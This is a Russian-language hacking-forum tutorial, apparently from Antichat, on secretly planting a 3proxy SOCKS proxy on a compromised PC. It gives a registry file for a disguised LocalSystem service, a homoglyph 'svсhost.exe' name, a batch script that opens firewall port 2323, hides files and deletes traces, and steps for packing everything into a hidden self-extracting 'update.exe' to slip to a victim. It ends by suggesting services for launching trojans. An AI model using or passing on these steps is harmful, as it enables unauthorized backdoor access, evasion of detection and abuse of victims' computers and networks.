Форум АНТИЧАТ - Автозагрузка 3proxy и др. через службы

Вобщем это моя первая статья и т.к. сам я новичок, то ничего особенного тут не будет.
Получив доступ к одному компу чайника в локалке мне захотелось поставить на нем прокси. Но как это сделать незаметно? Вот об этом я и расскажу. В сети полно различных прокси серверов, но мне был необходим максимально незаметный. Мой выбор остановился на 3proxy, т.к. все его настройки хранятся в отдельном файле, нет никаких значков в трее, возможность работы как служба. 3proxy поддерживает HTTP, SOCKSv4/SOCKSv4.5/SOCKSv5, FTP proxy и многое другое. Обо всех возможностях можете прочитать на 3proxy.ru

Сейчас большинство пользователей знают что многие программы прописывают себя в реестр для автозагрузки и периодически проверяют это с помощью msconfig или других программ, но на службы обращают внимание очень редко. Некоторые даже о них ничего не слышали… Немного о службах http://ru.wikipedia.org/wiki/Службы_Windows

Теперь качаем 3proxy тут. Наш прокси в папке bin.
Установить как службу можно так
C:\Program Files\3proxy\3proxy.exe --install C:\Program Files\3proxy\3proxy.cfg
Но при этом выскакивает запрос с подтверждением
http://i073.radikal.ru/0807/e5/3993127a18ef.png
Поэтому такой вариант нам совсем не подходит и мы будем создавать службу вручную.
Все настройки служб хранятся в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es.

Параметры, которые необходимы для работы службы:
Description - описание службы
DisplayName - имя службы, отбражаемое в списке всех служб
ErrorControl - критичность ошибок службы для работы системы. Обычно устанавливают 0
ImagePath - путь к исполняемому файлу
ObjectName - имя пользователя, от которого будет запущена служба. Ставим LocalSystem чтоб запускать с правами system
Start - тип запуска. Для запуска при старте системы ставим 2.
Type - тип службы. Этот параметр отличает службы от драйверов. Здесь надо поставить значение 16 (десятичная)

Маскировка.
Переименовываем 3proxy.exe в svсhost.exe, НО букву с пишем русскую для того чтобы закинуть в system32. Файл конфигурации назовем например comand.drv Кстати о файле конфигурации, моей целью было поднять socks, поэтому пишем в нем следующее:

Код:

auth none

socks -p2323

Это значит что наш сокс не требует авторизации и будет работать на 2323 порту.
Составим reg-файл, записав туда все настройки нашей службы, причем нужно придумать параметры Description и DisplayName, а также название службы, которые не будут вызывать подозрений. У меня она будет называться Net client

Код:

Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Net client]

"Description"="Обеспечивает компьютеру доступ к сети TCP/IP"

"DisplayName"="Доступ к сети TCP/IP"

"ErrorControl"=dword:00000000

"ImagePath"="C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service"

"ObjectName"="LocalSystem"

"Start"=dword:00000002

"Type"=dword:00000010

"ImagePath"="C:\\WINDOWS\\system32\\svсhost.e xe C:\\WINDOWS\\system32\\comand.drv --service" В svchost буква с русская. Как видим тут указывается не только где расположен наш исполняемый файл, но и файл конфигурации и опция --service. Для каждой программы могут быть индивидуальные настройки, узнать можно либо из справки, либо установить себе и посмотреть ;)

Теперь напишем bat файл для невидимой установки нашей службы.

Код:

chcp 1251

netsh firewall add portopening TCP 2323 system

attrib +r +h +s C:\Windows\system32\svсhost.exe

attrib +r +h +s C:\Windows\system32\comand.drv

reg import st.reg

regedit /s st.reg

del "%userprofile%\Рабочий стол\update.exe" /f

del "%userprofile%\Мои документы\update.exe" /f

del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\update.exe" /f

del "%userprofile%\Главное меню\Программы\Автозагрузка\update.exe" /f

del C:\update.exe /f

del D:\update.exe /f

del E:\update.exe /f

del %SystemRoot%\system32\st.reg /f

del %SystemRoot%\system32\st.exe /f

//не забываем про svchost, буква с русская
Этот батник добавляет правило в фаерволл windows и разрешает соединение для порта 2323, устанавливает на файл svchost и comand.drv атрибуты скрытый, системный и только для чтения, импортирует настройки нашей службы. Остальные команды для удаления нашего будущего sfx архива, просто добавил под разлчные случаи. Если вы внимательно посмотрели на батник, то заметили что в последней команде есть файл st.exe, о котором я ничего не писал. Это и есть наш батник =] Все знают что когда батник срабатывает, то видно черное окно командной строки, которое вызывает много подозрений. Есть способ его спрятать. Для этого нам понадобится программа Quick Batch File Compiler (можете скачать тут ) Эта программа предназначена для преобразования bat в exe, а также есть офигенная функция – скрывать этот долбанный квадрат Малевича. Жмем option и выбираем Ghost application, затем заносим содержимое батника в прогу, жмем Build и сохраняем под именем st.exe
Все практически готово, осталось только собрать это в одну кучу. Берем наш svchost.exe, command.drv, st.reg, st.exe и все остальные файлы из папки bin, жмем добавить в архив, выбираем бес сжатия (для того чтоб быстрее сработал, хотя кому как нравится), отмечаем sfx архив, имя архива update.exe, затем переходим во вкладку дополнительно/параметры sfx. На вкладке Общие указываем путь для распаковки C:\WINDOWS\system32, в поле “Выполнить после распаковки” пишем C:\WINDOWS\system32\st.exe Теперь переходим в вкладку Режимы и отмечаем “Скрывать все” и “Пропускать существующие файлы”, жмем ок. Осталось только впарить наш файл жертве или если есть доступ к диску С закинуть в папку автозагрузка (в этом случае прокси заработает через две перезагрузки, автоматически удалив update.exe из папки автозагрузка).
Этот способ можно использовать для любой программы, которая умеет работать как служба (например радмин - https://forum.antichat.ru/thread13658.html и Telnet - https://forum.antichat.ru/thread68300.html )

Я решил проверить, что будет если подсунуть в качестве службы обычную прогу, например калькулятор :) При загрузке он запускается, но его не видно на экране. Затем винда через секнд 10-15 его отключает. Этого времени достаточно чтобы запустить например трой, но работает калькулятор или нет я так и не понял. Может он просто завис… Я снова открыл Quick Batch File Compiler и написал такой батник

Код:

echo Segodnya %date%:%time%>>c:\otchet.txt

При каждом запуске в файл будет дописываться строка с датой и временем. Подсунув такую прогу в качестве службы все сработало нормально, при каждой перезагрузке в файл добавлялась новая строка, значит службы можно использовать и для запуска троянов.
===================================
UPD: исправил кавычки, добавил видео. Скачать можно тут или тут
pass: antichat.ru